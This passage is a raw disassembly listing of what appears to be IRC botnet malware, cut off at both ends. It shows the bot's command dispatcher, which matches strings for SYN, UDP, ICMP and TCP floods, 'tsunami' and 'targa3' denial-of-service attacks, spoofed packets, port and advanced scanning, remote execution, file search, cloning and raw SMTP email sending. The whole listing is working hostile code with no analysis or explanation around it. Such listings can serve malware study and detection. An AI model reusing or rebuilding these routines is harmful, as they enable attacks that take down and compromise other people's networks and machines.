near ptr 2660D86h nop mov ecx, [ebp+var_C58] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40600E loc_405FF8: ; CODE XREF: sub_401ACD+453Fj cmp [ebp+var_BCC], ebx jnz loc_40828B push 32h call near ptr 2660D05h nop jmp short loc_405FF8 ; --------------------------------------------------------------------------- loc_40600E: ; CODE XREF: sub_401ACD+4529j nop call near ptr 267064Ch push eax push offset dword_42AED0 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40601F: ; CODE XREF: sub_401ACD+43E4j push edi push offset aNet ; "net" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40626F cmp dword_4CB074, ebx jz short loc_40604E cmp dword_4CB09C, ebx jz short loc_40604E push offset unk_42AE94 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40604E: ; CODE XREF: sub_401ACD+456Dj ; sub_401ACD+4575j cmp [ebp+var_C], ebx jz loc_406CDE mov edi, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_406073 push edi push [ebp+var_C] call sub_41B900 pop ecx mov [ebp+arg_0], eax pop ecx loc_406073: ; CODE XREF: sub_401ACD+4596j push [ebp+arg_10] push offset aStart ; "start" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060C0 cmp edi, ebx jz short loc_406094 push [ebp+arg_0] push 3 jmp loc_406126 ; --------------------------------------------------------------------------- loc_406094: ; CODE XREF: sub_401ACD+45BBj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41895B add esp, 0Ch test eax, eax jz short loc_4060B6 push offset unk_42AE68 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060B6: ; CODE XREF: sub_401ACD+45DDj push offset unk_42AE48 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060C0: ; CODE XREF: sub_401ACD+45B7j push [ebp+arg_10] push offset aStop ; "stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060DA push [ebp+arg_0] push 4 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060DA: ; CODE XREF: sub_401ACD+4604j push [ebp+arg_10] push offset aPause ; "pause" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060F4 push [ebp+arg_0] push 5 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060F4: ; CODE XREF: sub_401ACD+461Ej push [ebp+arg_10] push offset aContinue ; "continue" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40610E push [ebp+arg_0] push 6 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_40610E: ; CODE XREF: sub_401ACD+4638j push [ebp+arg_10] push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406138 push [ebp+arg_0] push 1 loc_406126: ; CODE XREF: sub_401ACD+45C2j ; sub_401ACD+460Bj ... call sub_4186C1 pop ecx pop ecx loc_40612D: ; CODE XREF: sub_401ACD+46A1j ; sub_401ACD+4729j ... push eax push offset aS_1 ; "%s" jmp loc_406CCF ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_401ACD+4652j push [ebp+arg_10] push offset aShare ; "share" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40619D cmp edi, ebx jz short loc_406170 cmp [ebp+var_8FC], bl jz short loc_40615D push ebx push edi push 1 jmp short loc_406166 ; --------------------------------------------------------------------------- loc_40615D: ; CODE XREF: sub_401ACD+4688j push [ebp+esi+var_84] push edi push ebx loc_406166: ; CODE XREF: sub_401ACD+468Ej call sub_418A98 add esp, 0Ch jmp short loc_40612D ; --------------------------------------------------------------------------- loc_406170: ; CODE XREF: sub_401ACD+4680j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418C8E add esp, 10h test eax, eax jz short loc_406193 push offset unk_42AE00 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406193: ; CODE XREF: sub_401ACD+46BAj push offset unk_42ADE0 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40619D: ; CODE XREF: sub_401ACD+467Cj push [ebp+arg_10] push offset aUser ; "user" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406228 cmp edi, ebx jz short loc_4061FB cmp [ebp+var_8FC], bl jz short loc_4061CE push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push edi push 1 jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061CE: ; CODE XREF: sub_401ACD+46EDj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4061EA push esi push edi push ebx jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061EA: ; CODE XREF: sub_401ACD+4716j push ebx push edi push 2 loc_4061EE: ; CODE XREF: sub_401ACD+46FFj ; sub_401ACD+471Bj call sub_418DAF add esp, 18h jmp loc_40612D ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_401ACD+46E5j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4192DF add esp, 10h test eax, eax jz short loc_40621E push offset unk_42ADB8 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40621E: ; CODE XREF: sub_401ACD+4745j push offset unk_42AD98 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406228: ; CODE XREF: sub_401ACD+46E1j push [ebp+arg_10] push offset aSend ; "send" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406265 cmp edi, ebx jz short loc_40625B push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419593 add esp, 10h jmp loc_40612D ; --------------------------------------------------------------------------- loc_40625B: ; CODE XREF: sub_401ACD+4770j push offset unk_42AD6C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406265: ; CODE XREF: sub_401ACD+476Cj push offset unk_42AD50 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40626F: ; CODE XREF: sub_401ACD+4561j push edi push offset aCapture ; "capture" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aCap ; "cap" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aGethost ; "gethost" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 push edi push offset aGh ; "gh" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 loc_4062C3: ; CODE XREF: sub_401ACD+3CBDj ; sub_401ACD+3CECj ... mov edi, [ebp+esi+var_88] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_401E94 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aKl ; "kl" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aAa ; "aa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset dword_42B534 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset aAction ; "action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aA ; "a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aM ; "m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aRp ; "rp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aDe ; "de" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aJpDe100 ; "jp]de100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aJp10 ; "jp]10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aE ; "e" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aMv ; "mv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401E94 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aC ; "c" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4067D6 push 7Fh lea eax, [ebp+var_327C] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_31FC] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_317C] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_30FC] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B0F6 add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset word_4146CE push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4067C5 loc_4067AF: ; CODE XREF: sub_401ACD+4CF6j cmp [ebp+var_3070], ebx jnz loc_403DA0 push 32h nop call near ptr 2660D05h jmp short loc_4067AF ; --------------------------------------------------------------------------- loc_4067C5: ; CODE XREF: sub_401ACD+4CE0j nop call near ptr 267064Ch push eax push offset unk_42ABC0 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_4067D6: ; CODE XREF: sub_401ACD+4C36j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406903 push 7Fh lea eax, [ebp+var_36A4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3624] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_35A4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3524] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_349C], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_36A8], esi push [ebp+arg_10] push offset dword_42AB78 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset word_413626 push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4068F2 loc_4068DC: ; CODE XREF: sub_401ACD+4E23j cmp [ebp+var_3498], ebx jnz loc_407278 push 32h nop call near ptr 2660D05h jmp short loc_4068DC ; --------------------------------------------------------------------------- loc_4068F2: ; CODE XREF: sub_401ACD+4E0Dj call near ptr 267064Ch nop push eax push offset dword_42AB3C jmp loc_407269 ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_401ACD+4D48j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aJpldg10 ; "jpldg10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aJpl10 ; "jpl10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aSc ; "sc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401E94 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aPsc ; "psc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aU ; "u" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aP ; "p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aEmail ; "email" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406D16 push [ebp+arg_10] lea eax, [ebp+var_47EC] push eax call sub_41BEB0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+arg_10], eax lea eax, [ebp+var_4188] push eax call sub_41BEB0 push [ebp+arg_18] lea eax, [ebp+var_4588] push eax call sub_41BEB0 push offset asc_42CA64 ; " " push offset dword_42B530 push [ebp+esi+var_7C] call sub_417EEE push eax lea eax, [ebp+var_4288] push eax call sub_41BEB0 add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call dword_4CAF14 lea eax, [ebp+var_47EC] push eax call dword_4CB028 push 6 push 1 push 2 mov edi, eax call dword_4CB024 push [ebp+arg_10] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CAFA4 mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41B886 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CAF4C mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAFBC lea eax, [ebp+var_4088] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call dword_4CAFF4 push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAFBC push esi call dword_4CB03C call dword_4CAEFC lea eax, [ebp+var_4588] push eax push offset unk_42A9FC loc_406CCF: ; CODE XREF: sub_401ACD+2E82j ; sub_401ACD+4666j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 loc_406CDB: ; CODE XREF: sub_401ACD+248Bj add esp, 0Ch loc_406CDE: ; CODE XREF: sub_401ACD+4584j ; sub_401ACD+6653j ... cmp [ebp+var_8], ebx jnz short loc_406CFF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_406CFF: ; CODE XREF: sub_401ACD+29B2j ; sub_401ACD+2A05j ... mov esi, [ebp+arg_24] loc_406D02: ; CODE XREF: sub_401ACD+68F2j ; sub_401ACD+78E2j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx mov eax, esi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_401ACD+50ACj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406D40 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4072E8 loc_406D40: ; CODE XREF: sub_401ACD+525Aj push [ebp+esi+var_7C] push [ebp+arg_18] push [ebp+arg_0] push edi call sub_41B779 pop ecx push eax push [ebp+arg_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4100DB jmp loc_4040AA ; --------------------------------------------------------------------------- loc_406D6E: ; CODE XREF: sub_401ACD+507Ej ; sub_401ACD+5095j push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1354] push esi push eax call sub_41B980 lea eax, [ebp+var_1354] push eax push offset aSyn ; "syn" call sub_41C070 add esp, 14h test eax, eax jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aAck ; "ack" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aRandom_0 ; "random" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 push offset unk_42A9B4 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_406DD3: ; CODE XREF: sub_401ACD+52CCj ; sub_401ACD+52E3j ... push [ebp+arg_18] call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_406EFF push [ebp+arg_10] lea eax, [ebp+var_1354] push esi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_13D4] push edi push esi push eax call sub_41B980 push [ebp+arg_0] call sub_41B779 mov [ebp+var_1250], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406E70 mov eax, offset aNormal ; "Normal" loc_406E70: ; CODE XREF: sub_401ACD+539Cj push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push eax push offset unk_42A970 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset byte_413E35 push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_406EEE loc_406ED8: ; CODE XREF: sub_401ACD+541Fj cmp [ebp+var_123C], ebx jnz loc_40828B push 32h call near ptr 2660D05h nop jmp short loc_406ED8 ; --------------------------------------------------------------------------- loc_406EEE: ; CODE XREF: sub_401ACD+5409j nop call near ptr 267064Ch push eax push offset unk_42A938 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_406EFF: ; CODE XREF: sub_401ACD+5317j push offset unk_42A900 loc_406F04: ; CODE XREF: sub_401ACD+2018j ; sub_401ACD+202Ej ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_40828B ; --------------------------------------------------------------------------- loc_406F17: ; CODE XREF: sub_401ACD+5039j ; sub_401ACD+5050j ... cmp dword_4CB094, ebx jnz loc_407026 mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_100C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_1008], eax call sub_41B779 push 7Fh mov [ebp+var_1004], eax push [ebp+var_88] lea eax, [ebp+var_110C] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1004] push [ebp+var_1008] push eax lea eax, [ebp+var_2C4] push [ebp+var_100C] push offset unk_42A8B8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset dword_413284 push ebx push ebx call near ptr 2660D86h nop mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407015 loc_406FFF: ; CODE XREF: sub_401ACD+5546j cmp [ebp+var_FF0], ebx jnz loc_40828B push 32h call near ptr 2660D05h nop jmp short loc_406FFF ; --------------------------------------------------------------------------- loc_407015: ; CODE XREF: sub_401ACD+5530j nop call near ptr 267064Ch push eax push offset unk_42A880 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_407026: ; CODE XREF: sub_401ACD+5450j push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41B5F0 jmp loc_408288 ; --------------------------------------------------------------------------- loc_407041: ; CODE XREF: sub_401ACD+500Bj ; sub_401ACD+5022j push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push [ebp+arg_0] push offset unk_42A82C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push [ebp+arg_0] call sub_41AFE0 mov edx, eax push edi mov edi, edx call sub_41AFE0 push [ebp+arg_10] add edi, eax call sub_41AFE0 push [ebp+arg_8] add edi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+edi+7] push eax call sub_41B900 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41B779 mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_40713B loc_4070C4: ; CODE XREF: sub_401ACD+561Bj push [ebp+arg_C] push edi push [ebp+arg_10] call sub_4185A4 add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_4070EC cmp eax, ebx jnz short loc_40710B inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_4070C4 jmp short loc_407144 ; --------------------------------------------------------------------------- loc_4070EC: ; CODE XREF: sub_401ACD+560Cj push ebx push [ebp+var_4] push offset unk_42A7F4 loc_4070F5: ; CODE XREF: sub_401ACD+5680j push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4072E8 ; --------------------------------------------------------------------------- loc_40710B: ; CODE XREF: sub_401ACD+5610j push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A7C0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_40713B: ; CODE XREF: sub_401ACD+55F5j cmp [ebp+arg_1C], ebx jnz loc_4072E8 loc_407144: ; CODE XREF: sub_401ACD+561Dj push ebx push [ebp+var_4] push offset unk_42A78C jmp short loc_4070F5 ; --------------------------------------------------------------------------- loc_40714F: ; CODE XREF: sub_401ACD+4FC6j ; sub_401ACD+4FDDj ... mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_C7C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_C78], eax call sub_41B779 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_4071B4 push esi call sub_41B779 pop ecx mov [ebp+var_C70], eax jmp short loc_4071BA ; --------------------------------------------------------------------------- loc_4071B4: ; CODE XREF: sub_401ACD+56D6j mov [ebp+var_C70], ebx loc_4071BA: ; CODE XREF: sub_401ACD+56E5j push 7Fh lea eax, [ebp+var_D7C] push [ebp+var_88] push eax call sub_41B5F0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C74] push [ebp+var_C78] push eax lea eax, [ebp+var_2C4] push [ebp+var_C7C] push offset unk_42A744 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset dword_413410 push ebx push ebx call near ptr 2660D86h nop mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40725D loc_40724B: ; CODE XREF: sub_401ACD+578Ej cmp [ebp+var_C60], ebx jnz short loc_407278 push 32h call near ptr 2660D05h nop jmp short 